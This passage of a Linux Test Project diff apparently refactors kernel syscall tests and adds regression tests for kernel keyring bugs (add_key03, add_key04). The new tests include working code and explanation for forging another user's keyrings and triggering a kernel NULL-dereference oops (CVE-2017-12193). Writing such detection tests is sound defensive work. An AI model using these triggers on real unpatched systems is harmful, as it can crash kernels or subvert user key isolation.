+++ b/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
@@ -13,8 +13,6 @@
 *
 * Calculate a SHA1 boot aggregate value based on the TPM
 * binary_bios_measurements.
-*
-* Requires openssl; compile with -lcrypto option
 */
 #include <stdio.h>
 #include <stdlib.h>
@@ -23,18 +21,20 @@
 #include <fcntl.h>
 #include <string.h>
 #include <unistd.h>
+
 #include "config.h"
 #include "test.h"
-#if HAVE_OPENSSL_SHA_H
+
+char *TCID = "ima_boot_aggregate";
+
+#if HAVE_LIBCRYPTO
 #include <openssl/sha.h>
-#endif
 
 #define MAX_EVENT_SIZE 500
 #define EVENT_HEADER_SIZE 32
 #define MAX_EVENT_DATA_SIZE (MAX_EVENT_SIZE - EVENT_HEADER_SIZE)
 #define NUM_PCRS 8		/*  PCR registers 0-7 in boot aggregate */
 
-char *TCID = "ima_boot_aggregate";
 int TST_TOTAL = 1;
 
 static void display_sha1_digest(unsigned char *pcr)
@@ -48,7 +48,6 @@
 
 int main(int argc, char *argv[])
 {
-#if HAVE_OPENSSL_SHA_H
 	unsigned char boot_aggregate[SHA_DIGEST_LENGTH];
 	struct {
 		struct {
@@ -113,8 +112,12 @@
 
 	printf("boot_aggregate:");
 	display_sha1_digest(boot_aggregate);
-#else
-	tst_resm(TCONF, "System doesn't have openssl/sha.h");
-#endif
 	tst_exit();
 }
+
+#else
+int main(void)
+{
+	tst_brkm(TCONF, NULL, "test requires libcrypto and openssl development packages");
+}
+#endif
diff --git a/testcases/kernel/security/integrity/ima/src/ima_measure.c b/testcases/kernel/security/integrity/ima/src/ima_measure.c
index 61851a3..3aa5649 100644
--- a/testcases/kernel/security/integrity/ima/src/ima_measure.c
+++ b/testcases/kernel/security/integrity/ima/src/ima_measure.c
@@ -22,15 +22,17 @@
 #include <fcntl.h>
 #include <string.h>
 #include <unistd.h>
+
 #include "config.h"
 #include "test.h"
-#if HAVE_OPENSSL_SHA_H
+
+char *TCID = "ima_measure";
+
+#if HAVE_LIBCRYPTO
 #include <openssl/sha.h>
-#endif
 
 #define TCG_EVENT_NAME_LEN_MAX	255
 
-char *TCID = "ima_measure";
 int TST_TOTAL = 1;
 
 static int verbose;
@@ -39,8 +41,6 @@
 	if (verbose) \
 		printf(format, ##arg)
 
-#if HAVE_OPENSSL_SHA_H
-
 static u_int8_t zero[SHA_DIGEST_LENGTH];
 static u_int8_t fox[SHA_DIGEST_LENGTH];
 
@@ -97,8 +97,6 @@
 	return 0;
 }
 
-#endif
-
 /*
  * ima_measurements.c - calculate the SHA1 aggregate-pcr value based
  * on the IMA runtime binary measurements.
@@ -131,8 +129,6 @@
  */
 int main(int argc, char *argv[])
 {
-
-#if HAVE_OPENSSL_SHA_H
 	FILE *fp;
 	struct event template;
 	u_int8_t pcr[SHA_DIGEST_LENGTH];
@@ -212,8 +208,12 @@
 	verbose = 1;
 	print_info("PCRAggr (re-calculated):");
 	display_sha1_digest(pcr);
-#else
-	tst_resm(TCONF, "System doesn't have openssl/sha.h");
-#endif
 	tst_exit();
 }
+
+#else
+int main(void)
+{
+	tst_brkm(TCONF, NULL, "test requires libcrypto and openssl development packages");
+}
+#endif
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh b/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
index a2a443d..a3c357c 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
@@ -76,7 +76,7 @@
 test02()
 {
 	# Modify test.txt
-	echo $($date) - file modified >> test.txt
+	echo $(date) - file modified >> test.txt
 
 	# Calculating the sha1sum of test.txt should add
 	# the new measurement to the measurement list
diff --git a/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c b/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c
index 1d615ae..058d7f9 100644
--- a/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c
+++ b/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c
@@ -453,11 +453,7 @@
 			slink_info.in_sticky = bdirs[dir].sticky;
 			slink_info.dir_owner = bdirs[dir].owner;
 
-			if (symlink(ufile->path, slink_info.path) == -1) {
-				tst_brkm(TBROK, cleanup,
-					"Can't create symlink: %s",
-					slink_info.path);
-			}
+			SAFE_SYMLINK(cleanup, ufile->path, slink_info.path);
 			result |= check_symlink(&slink_info);
 		}
 	}
@@ -554,8 +550,7 @@
 	if (fd == -1)
 		return fd;
 
-	if (close(fd) == -1)
-		tst_brkm(TBROK, cleanup, "Can't close file: %s", name);
+	SAFE_CLOSE(cleanup, fd);
 
 	return 0;
 }
diff --git a/testcases/kernel/syscalls/.gitignore b/testcases/kernel/syscalls/.gitignore
index 32193e1..d296276 100644
--- a/testcases/kernel/syscalls/.gitignore
+++ b/testcases/kernel/syscalls/.gitignore
@@ -8,6 +8,8 @@
 /acct/acct01
 /add_key/add_key01
 /add_key/add_key02
+/add_key/add_key03
+/add_key/add_key04
 /adjtimex/adjtimex01
 /adjtimex/adjtimex02
 /alarm/alarm01
@@ -141,6 +143,7 @@
 /fallocate/fallocate02
 /fallocate/fallocate03
 /fallocate/fallocate04
+/fallocate/fallocate05
 /fchdir/fchdir01
 /fchdir/fchdir02
 /fchdir/fchdir03
@@ -395,6 +398,7 @@
 /ioctl/ioctl04
 /ioctl/ioctl05
 /ioctl/ioctl06
+/ioctl/ioctl07
 /ioperm/ioperm01
 /ioperm/ioperm02
 /iopl/iopl01
@@ -462,6 +466,9 @@
 /keyctl/keyctl03
 /keyctl/keyctl04
 /keyctl/keyctl05
+/keyctl/keyctl06
+/keyctl/keyctl07
+/keyctl/keyctl08
 /kcmp/kcmp01
 /kcmp/kcmp02
 /kcmp/kcmp03
@@ -583,10 +590,10 @@
 /mount/mount01
 /mount/mount02
 /mount/mount03
+/mount/mount03_setuid_test
 /mount/mount04
 /mount/mount05
 /mount/mount06
-/mount/setuid_test
 /move_pages/move_pages01
 /move_pages/move_pages02
 /move_pages/move_pages03
@@ -702,6 +709,7 @@
 /ptrace/ptrace03
 /ptrace/ptrace04
 /ptrace/ptrace05
+/ptrace/ptrace07
 /ptrace/simple_tracer
 /pwrite/f
 /pwrite/pwrite01
@@ -766,6 +774,7 @@
 /renameat2/renameat202
 /request_key/request_key01
 /request_key/request_key02
+/request_key/request_key03
 /rmdir/rmdir01
 /rmdir/rmdir02
 /rmdir/rmdir03
@@ -929,8 +938,11 @@
 /setrlimit/setrlimit01
 /setrlimit/setrlimit02
 /setrlimit/setrlimit03
+/setrlimit/setrlimit04
+/setrlimit/setrlimit05
 /setsid/setsid01
 /setsockopt/setsockopt01
+/setsockopt/setsockopt02
 /settimeofday/settimeofday01
 /settimeofday/settimeofday02
 /setuid/setuid01
diff --git a/testcases/kernel/syscalls/accept/accept01.c b/testcases/kernel/syscalls/accept/accept01.c
index 9864158..b500565 100644
--- a/testcases/kernel/syscalls/accept/accept01.c
+++ b/testcases/kernel/syscalls/accept/accept01.c
@@ -156,15 +156,9 @@
 
 static void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed for accept "
-			 "test %d: %s", testno, strerror(errno));
-	}
-	if (bind(s, (struct sockaddr *)&sin0, sizeof(sin0)) < 0) {
-		tst_brkm(TBROK, cleanup, "socket bind failed for accept "
-			 "test %d: %s", testno, strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
+	SAFE_BIND(cleanup, s, (struct sockaddr *)&sin0, sizeof(sin0));
 	sinlen = sizeof(fsin1);
 }
 
diff --git a/testcases/kernel/syscalls/access/access01.c b/testcases/kernel/syscalls/access/access01.c
index 7a92525..b679832 100644
--- a/testcases/kernel/syscalls/access/access01.c
+++ b/testcases/kernel/syscalls/access/access01.c
@@ -315,6 +315,8 @@
 {
 	struct passwd *pw;
 
+	umask(0022);
+
 	pw = SAFE_GETPWNAM("nobody");
 
 	uid = pw->pw_uid;
diff --git a/testcases/kernel/syscalls/acct/acct01.c b/testcases/kernel/syscalls/acct/acct01.c
index 3137c05..eb10431 100644
--- a/testcases/kernel/syscalls/acct/acct01.c
+++ b/testcases/kernel/syscalls/acct/acct01.c
@@ -152,20 +152,14 @@
 
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 	SAFE_MKDIR(cleanup, "mntpoint", DIR_MODE);
-	if (mount(device, "mntpoint", fs_type, 0, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, 0, NULL);
 	mount_flag = 1;
 
 	/* Create a file in the file system, then remount it as read-only */
 	fd = SAFE_CREAT(cleanup, TEST_FILE8, 0644);
 	SAFE_CLOSE(cleanup, fd);
-	if (mount(device, "mntpoint", fs_type,
-		  MS_REMOUNT | MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type,
+		   MS_REMOUNT | MS_RDONLY, NULL);
 }
 
 static void acct_verify(int i)
diff --git a/testcases/kernel/syscalls/add_key/add_key02.c b/testcases/kernel/syscalls/add_key/add_key02.c
index ce46730..369e828 100644
--- a/testcases/kernel/syscalls/add_key/add_key02.c
+++ b/testcases/kernel/syscalls/add_key/add_key02.c
@@ -30,6 +30,8 @@
  * can, in the hope of catching one.  We also test with the "user" key type for
  * good measure, although it was one of the types that failed with EINVAL rather
  * than dereferencing NULL.
+ *
+ * This has been assigned CVE-2017-15274.
  */
 
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/add_key/add_key03.c b/testcases/kernel/syscalls/add_key/add_key03.c
new file mode 100644
index 0000000..27edcb2
--- /dev/null
+++ b/testcases/kernel/syscalls/add_key/add_key03.c
@@ -0,0 +1,98 @@
+/*
+ * Copyright (c) 2017 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for commit 237bbd29f7a0 ("KEYS: prevent creating a different
+ * user's keyrings").  The bug allowed any random user to create a keyring named
+ * "_uid.$UID" (or "_uid_ses.$UID"), and it would become the user keyring (or
+ * user session keyring) for user $UID, provided that it hadn't already been
+ * created.
+ *
+ * This test must be run as root so that it has permission to switch to another
+ * user ID and check whether the keyrings are wrong.  However, the underlying
+ * bug is actually reachable/exploitable by a non-root user.
+ */
+
+#include <errno.h>
+#include <pwd.h>
+#include <stdio.h>
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+
+static key_serial_t create_keyring(const char *description)
+{
+	TEST(add_key("keyring", description, NULL, 0,
+		     KEY_SPEC_PROCESS_KEYRING));
+	if (TEST_RETURN < 0) {
+		tst_brk(TBROK | TTERRNO,
+			"unable to create keyring '%s'", description);
+	}
+	return TEST_RETURN;
+}
+
+static key_serial_t get_keyring_id(key_serial_t special_id)
+{
+	TEST(keyctl(KEYCTL_GET_KEYRING_ID, special_id, 1));
+	if (TEST_RETURN < 0) {
+		tst_brk(TBROK | TTERRNO,
+			"unable to get ID of keyring %d", special_id);
+	}
+	return TEST_RETURN;
+}
+
+static void do_test(void)
+{
+	uid_t uid = 1;
+	char description[32];
+	key_serial_t fake_user_keyring;
+	key_serial_t fake_user_session_keyring;
+
+	/*
+	 * We need a user to forge the keyrings for.  But the bug is not
+	 * reproducible for a UID which already has its keyrings, so find an
+	 * unused UID.  Note that it would be better to directly check for the
+	 * presence of the UID's keyrings than to search the passwd file.
+	 * However, that's not easy to do given that even if we assumed the UID
+	 * temporarily to check, KEYCTL_GET_KEYRING_ID for the user and user
+	 * session keyrings will create them rather than failing (even if the
+	 * 'create' argument is 0).
+	 */
+	while (getpwuid(uid))
+		uid++;
+
+	sprintf(description, "_uid.%u", uid);
+	fake_user_keyring = create_keyring(description);
+	sprintf(description, "_uid_ses.%u", uid);
+	fake_user_session_keyring = create_keyring(description);
+
+	SAFE_SETUID(uid);
+
+	if (fake_user_keyring == get_keyring_id(KEY_SPEC_USER_KEYRING))
+		tst_brk(TFAIL, "created user keyring for another user");
+
+	if (fake_user_session_keyring ==
+	    get_keyring_id(KEY_SPEC_USER_SESSION_KEYRING))
+		tst_brk(TFAIL, "created user session keyring for another user");
+
+	tst_res(TPASS, "expectedly could not create another user's keyrings");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/add_key/add_key04.c b/testcases/kernel/syscalls/add_key/add_key04.c
new file mode 100644
index 0000000..debf349
--- /dev/null
+++ b/testcases/kernel/syscalls/add_key/add_key04.c
@@ -0,0 +1,90 @@
+/*
+ * Copyright (c) 2017 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for commit ea6789980fda ("assoc_array: Fix a buggy
+ * node-splitting case"), or CVE-2017-12193.
+ *
+ * Reproducing this bug requires adding keys to a keyring in a certain way that
+ * triggers a corner case in the kernel's "associative array" implementation,
+ * which is the data structure used to hold keys in a keyring, indexed by type
+ * and description.
+ *
+ * Specifically, the root node of a keyring's associative array must be
+ * completely filled with keys that all cluster together within the same slot.
+ * Then a key must be added which goes in a different slot.  On broken kernels,
+ * this caused a NULL pointer dereference in assoc_array_apply_edit().
+ *
+ * This can be done by carefully crafting key descriptions.  However, an easier
+ * way is to just add 16 keyrings and then a non-keyring, since keyrings all go
+ * into their own top-level slot.  This test takes the easier approach.
+ */
+
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+
+#define ASSOC_ARRAY_FAN_OUT 16
+
+static void do_test(void)
+{
+	int status;
+
+	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
+	if (TEST_RETURN < 0)
+		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
+
+	if (SAFE_FORK() == 0) {
+		char description[32];
+		const char payload[] = "payload";
+		int i;
+
+		for (i = 0; i < ASSOC_ARRAY_FAN_OUT; i++) {
+			sprintf(description, "keyring%d", i);
+			TEST(add_key("keyring", description, NULL, 0,
+				     KEY_SPEC_SESSION_KEYRING));
+			if (TEST_RETURN < 0) {
+				tst_brk(TBROK | TTERRNO,
+					"unable to create keyring %d", i);
+			}
+		}
+
+		TEST(add_key("user", "userkey", payload, sizeof(payload),
+			     KEY_SPEC_SESSION_KEYRING));
+		if (TEST_RETURN < 0)
+			tst_brk(TBROK | TTERRNO, "unable to create user key");
+
+		exit(0);
+	}
+
+	SAFE_WAIT(&status);
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
+		tst_res(TPASS, "didn't crash while filling keyring");
+	else if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL)
+		tst_res(TFAIL, "kernel oops while filling keyring");
+	else
+		tst_brk(TBROK, "Child %s", tst_strstatus(status));
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/adjtimex/adjtimex02.c b/testcases/kernel/syscalls/adjtimex/adjtimex02.c
index 493fe55..492225f 100644
--- a/testcases/kernel/syscalls/adjtimex/adjtimex02.c
+++ b/testcases/kernel/syscalls/adjtimex/adjtimex02.c
@@ -91,6 +91,7 @@
 #include <unistd.h>
 #include <pwd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define SET_MODE ( ADJ_OFFSET | ADJ_FREQUENCY | ADJ_MAXERROR | ADJ_ESTERROR | \
 	ADJ_STATUS | ADJ_TIMECONST | ADJ_TICK )
@@ -205,10 +206,7 @@
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
 	/* set the HZ from sysconf */
-	hz = sysconf(_SC_CLK_TCK);
-	if (hz == -1) {
-		tst_brkm(TBROK, NULL, "Failed to read the HZ from sysconf\n");
-	}
+	hz = SAFE_SYSCONF(NULL, _SC_CLK_TCK);
 
 	TEST_PAUSE;
 
@@ -272,8 +270,5 @@
 void cleanup6(void)
 {
 	/* Set effective user id back to root */
-	if (seteuid(0) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "seteuid failed to set the"
-			 " effective uid to root");
-	}
+	SAFE_SETEUID(cleanup, 0);
 }
diff --git a/testcases/kernel/syscalls/alarm/alarm03.c b/testcases/kernel/syscalls/alarm/alarm03.c
index 5853a29..60141f1 100644
--- a/testcases/kernel/syscalls/alarm/alarm03.c
+++ b/testcases/kernel/syscalls/alarm/alarm03.c
@@ -98,6 +98,7 @@
 #include <stdlib.h>
 #include <sys/wait.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -160,9 +161,7 @@
 					 "alarm(100), fork, alarm(0) parent's alarm returned %ld",
 					 TEST_RETURN);
 			}
-			if (wait(&status) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "wait failed");
+			SAFE_WAIT(cleanup, &status);
 			if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 				tst_resm(TFAIL, "see failures reported above");
 
diff --git a/testcases/kernel/syscalls/alarm/alarm07.c b/testcases/kernel/syscalls/alarm/alarm07.c
index b270309..5f4d6e4 100644
--- a/testcases/kernel/syscalls/alarm/alarm07.c
+++ b/testcases/kernel/syscalls/alarm/alarm07.c
@@ -71,6 +71,7 @@
 #include <sys/wait.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "alarm07";
 int TST_TOTAL = 1;
@@ -121,9 +122,7 @@
 			}
 		} else {
 			/* Wait for child to complete execution */
-			if (wait(&status) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "wait failed");
+			SAFE_WAIT(cleanup, &status);
 			if (!WIFEXITED(status) ||
 			    WEXITSTATUS(status) != 0)
 				tst_brkm(TBROK | TERRNO, cleanup,
diff --git a/testcases/kernel/syscalls/asyncio/asyncio02.c b/testcases/kernel/syscalls/asyncio/asyncio02.c
index e97cc49..e532cc2 100644
--- a/testcases/kernel/syscalls/asyncio/asyncio02.c
+++ b/testcases/kernel/syscalls/asyncio/asyncio02.c
@@ -97,6 +97,7 @@
 #include <errno.h>
 #include <stdlib.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define FLAG O_RDWR | O_CREAT | O_TRUNC	/* Flags used when opening temp tile */
 #define MODE  0777		/* Mode to open file with */
@@ -238,9 +239,7 @@
 	 *      Attempt to close the file which also flushes the buffers.
 	 */
 
-	if (close(fildes) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "close() failed");
-	}
+	SAFE_CLOSE(cleanup, fildes);
 
 	ret = OK;
 
@@ -249,18 +248,13 @@
 	 *  same as the number of bytes in the file.
 	 */
 
-	if (stat(filename, &buffer) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "stat() failed");
-	}
+	SAFE_STAT(cleanup, filename, &buffer);
 
 	if (buffer.st_size != (off_t) (bytes * WRITES)) {
 		ret = (int)buffer.st_size;
 	}
 
-	if (unlink(filename) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "unlink(%s) failed",
-			 filename);
-	}
+	SAFE_UNLINK(cleanup, filename);
 
 	return ret;
 
diff --git a/testcases/kernel/syscalls/bind/bind01.c b/testcases/kernel/syscalls/bind/bind01.c
index 6a3bc50..8687493 100644
--- a/testcases/kernel/syscalls/bind/bind01.c
+++ b/testcases/kernel/syscalls/bind/bind01.c
@@ -52,6 +52,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "bind01";
 int testno;
@@ -174,10 +175,8 @@
 
 void setup0(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "socket() failed for bind test %d", testno);
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+		        tdat[testno].proto);
 }
 
 void cleanup0(void)
diff --git a/testcases/kernel/syscalls/brk/brk01.c b/testcases/kernel/syscalls/brk/brk01.c
index 775bc15..c95fd0d 100644
--- a/testcases/kernel/syscalls/brk/brk01.c
+++ b/testcases/kernel/syscalls/brk/brk01.c
@@ -1,215 +1,72 @@
 /*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *    AUTHOR		: William Roske
- *    CO-PILOT		: Dave Fenner
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
 #include <unistd.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/param.h>
-#include <sys/resource.h>
 #include <stdint.h>
 #include <inttypes.h>
+#include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-#ifndef BSIZE
-#define BSIZE  BBSIZE
-#endif
-
-void setup();
-void cleanup();
-
-#define MAX_SIZE_LC	1000	/* loop count test will reach max size */
-
-char *TCID = "brk01";
-int TST_TOTAL = 1;
-
-uintptr_t Max_brk_byte_size;
-uintptr_t Beg_brk_val;
-
-#if !defined(UCLINUX)
-
-int main(int ac, char **av)
+void verify_brk(void)
 {
-	int lc;
-	int incr;
-	uintptr_t nbrkpt;		/* new brk point value */
-	uintptr_t cur_brk_val;	/* current size returned by sbrk */
-	uintptr_t aft_brk_val;	/* current size returned by sbrk */
+	uintptr_t cur_brk, new_brk;
+	uintptr_t inc = getpagesize() * 2 - 1;
+	unsigned int i;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	cur_brk = (uintptr_t)sbrk(0);
 
-	setup();
-
-	/*
-	 * Attempt to control how fast we get to test max size.
-	 * Every MAX_SIZE_LC'th lc will be fastest test will reach max size.
-	 */
-	incr = (Max_brk_byte_size - Beg_brk_val) / (MAX_SIZE_LC / 2);
-
-	if ((incr * 2) < 4096)	/* make sure that process will grow */
-		incr += 4096 / 2;
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Determine new value to give brk
-		 * Every even lc value, grow by 2 incr and
-		 * every odd lc value, strink by one incr.
-		 * If lc is equal to 3, no change, special case.
-		 */
-		cur_brk_val = (uintptr_t)sbrk(0);
-		if (lc == 3) {
-			nbrkpt = cur_brk_val;	/* no change, special one time case */
-		} else if ((lc % 2) == 0) {
-			/*
-			 * grow
-			 */
-			nbrkpt = cur_brk_val + (2 * incr);
-
-			if (nbrkpt > Max_brk_byte_size)
-				nbrkpt = Beg_brk_val;	/* start over */
-
-		} else {
-			/*
-			 * shrink
-			 */
-			nbrkpt = cur_brk_val - incr;
+	for (i = 0; i < 33; i++) {
+		switch (i % 3) {
+		case 0:
+			new_brk = cur_brk + inc;
+		break;
+		case 1:
+			new_brk = cur_brk;
+		break;
+		case 2:
+			new_brk = cur_brk - inc;
+		break;
 		}
 
-/****
-    printf("cur_brk_val = %d, nbrkpt = %d, incr = %d, lc = %d\n",
-	cur_brk_val, nbrkpt, incr, lc);
-****/
-
-		TEST(brk((char *)nbrkpt));
+		TEST(brk((void *)new_brk));
 
 		if (TEST_RETURN == -1) {
-
-			aft_brk_val = (uintptr_t)sbrk(0);
-			tst_resm(TFAIL | TTERRNO,
-				 "brk(%"PRIuPTR") failed (size before %"PRIuPTR", after %"PRIuPTR")",
-				 nbrkpt, cur_brk_val, aft_brk_val);
-
-		} else {
-			aft_brk_val = (uintptr_t)sbrk(0);
-			if (aft_brk_val == nbrkpt) {
-
-				tst_resm(TPASS,
-					 "brk(%"PRIuPTR") returned %"PRIuPTR", new size verified by sbrk",
-					 nbrkpt, TEST_RETURN);
-			} else {
-				tst_resm(TFAIL,
-					 "brk(%"PRIuPTR") returned %"PRIuPTR", sbrk before %"PRIuPTR", after %"PRIuPTR"",
-					 nbrkpt, TEST_RETURN,
-					 cur_brk_val, aft_brk_val);
-			}
+			tst_res(TFAIL | TERRNO, "brk() failed");
+			return;
 		}
 
+		cur_brk = (uintptr_t)sbrk(0);
+
+		if (cur_brk != new_brk) {
+			tst_res(TFAIL,
+				"brk() failed to set address have %p expected %p",
+				(void *)cur_brk, (void *)new_brk);
+			return;
+		}
+
+		/* Try to write to the newly allocated heap */
+		if (i % 3 == 0)
+			*((char *)cur_brk) = 0;
 	}
 
-	cleanup();
-	tst_exit();
+	tst_res(TPASS, "brk() works fine");
 }
 
-void setup(void)
-{
-	unsigned long max_size;
-	int ncpus;
-	unsigned long ulim_sz;
-	unsigned long usr_mem_sz;
-	struct rlimit lim;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/*if ((ulim_sz=ulimit(3,0)) == -1)
-	   tst_brkm(TBROK|TERRNO, cleanup, "ulimit(3,0) failed"); */
-
-	if (getrlimit(RLIMIT_DATA, &lim) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "getrlimit(RLIMIT_DATA,%p) failed", &lim);
-	ulim_sz = lim.rlim_cur;
-
-	/*
-	 * On IRIX, which is a demand paged system, memory is managed
-	 * different than on Crays systems.  For now, pick some value.
-	 */
-	usr_mem_sz = 1024 * 1024 * sizeof(long);
-
-	if ((ncpus = sysconf(_SC_NPROCESSORS_ONLN)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "sysconf(_SC_NPROCESSORS_ONLN) failed");
-
-	/*
-	 * allow 2*ncpus copies to run.
-	 * never attempt to take more than a * 1/4 of memory (by single test)
-	 */
-
-	max_size = MIN(ulim_sz, usr_mem_sz);
-
-	max_size = max_size / (2 * ncpus);
-
-	if (max_size > (usr_mem_sz / 4))
-		max_size = usr_mem_sz / 4;	/* only fourth mem by single test */
-
-	Beg_brk_val = (uintptr_t)sbrk(0);
-
-	/*
-	 * allow at least 4 times a big as current.
-	 * This will override above code.
-	 */
-	if (max_size < Beg_brk_val * 4)	/* running on small mem and/or high # cpus */
-		max_size = Beg_brk_val * 4;
-
-	Max_brk_byte_size = max_size;
-
-	TEST_PAUSE;
-
-}
-
-void cleanup(void)
-{
-}
-
-#else
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "test is not available on uClinux");
-}
-
-#endif /* if !defined(UCLINUX) */
+static struct tst_test test = {
+	.test_all = verify_brk,
+};
diff --git a/testcases/kernel/syscalls/capset/capset02.c b/testcases/kernel/syscalls/capset/capset02.c
index 381ab75..aece295 100644
--- a/testcases/kernel/syscalls/capset/capset02.c
+++ b/testcases/kernel/syscalls/capset/capset02.c
@@ -81,6 +81,7 @@
 #include <string.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/syscalls.h"
 
 /**************************************************************************/
@@ -251,9 +252,7 @@
 			if (ltpuser == NULL)
 				tst_brkm(TBROK | TERRNO, cleanup,
 					 "getpwnam failed");
-			if (seteuid(ltpuser->pw_uid) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "seteuid failed");
+			SAFE_SETEUID(cleanup, ltpuser->pw_uid);
 
 		}
 		break;
diff --git a/testcases/kernel/syscalls/chdir/chdir01.c b/testcases/kernel/syscalls/chdir/chdir01.c
index 1933377..81cf7c5 100644
--- a/testcases/kernel/syscalls/chdir/chdir01.c
+++ b/testcases/kernel/syscalls/chdir/chdir01.c
@@ -107,9 +107,7 @@
 		else
 			tst_resm(TPASS, "failed as expected with ENOTDIR");
 
-		if (unlink(filname) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "Couldn't remove file");
